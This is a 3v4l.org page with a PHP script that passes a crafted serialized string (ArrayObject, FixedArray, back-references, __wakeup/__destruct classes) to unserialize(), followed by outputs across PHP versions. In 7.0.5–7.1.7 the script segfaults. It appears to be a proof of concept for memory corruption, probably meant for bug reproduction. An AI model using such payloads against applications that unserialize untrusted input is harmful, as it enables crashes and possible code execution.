3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class a { public $a; function __destruct() { $t=1337; echo(serialize($this->a)); } } class b { public $b; function __wakeup() { $this->b=null; } } $i='x:i:0;O:10:"FixedArray":2:{i:0;i:1711;i:1;O:1:"a":1:{s:1:"a";R:1;}};m:a:0:{}'; $x=unserialize('a:2:{i:0;C:11:"ArrayObject":'.strlen($i).':{'.$i.'}i:1;O:1:"b":1:{s:1:"b";R:4;}}'); $x=null; echo('doe');
based on 6vTPv
Output for 7.2.0 - 7.3.0alpha1
doea:2:{i:0;C:11:"ArrayObject":120:{x:i:0;O:10:"FixedArray":2:{s:1:"0";i:1711;s:1:"1";O:1:"a":1:{s:1:"a";a:2:{i:0;r:2;i:1;O:1:"b":1:{s:1:"b";N;}}}};m:a:0:{}}i:1;r:9;}
Output for 7.0.5 - 7.1.7

Process exited with code 139.
Output for 5.5.23 - 5.5.37, 5.6.7 - 7.0.4
Notice: ArrayObject::serialize(): Array was modified outside object and is no longer an array in /in/f4oN0 on line 6 a:2:{i:0;N;i:1;O:1:"b":1:{s:1:"b";N;}}doe
Output for 5.5.0 - 5.5.22, 5.6.0 - 5.6.6
Notice: ArrayObject::serialize(): Array was modified outside object and is no longer an array in /in/f4oN0 on line 6 a:1:{i:0;N;}doe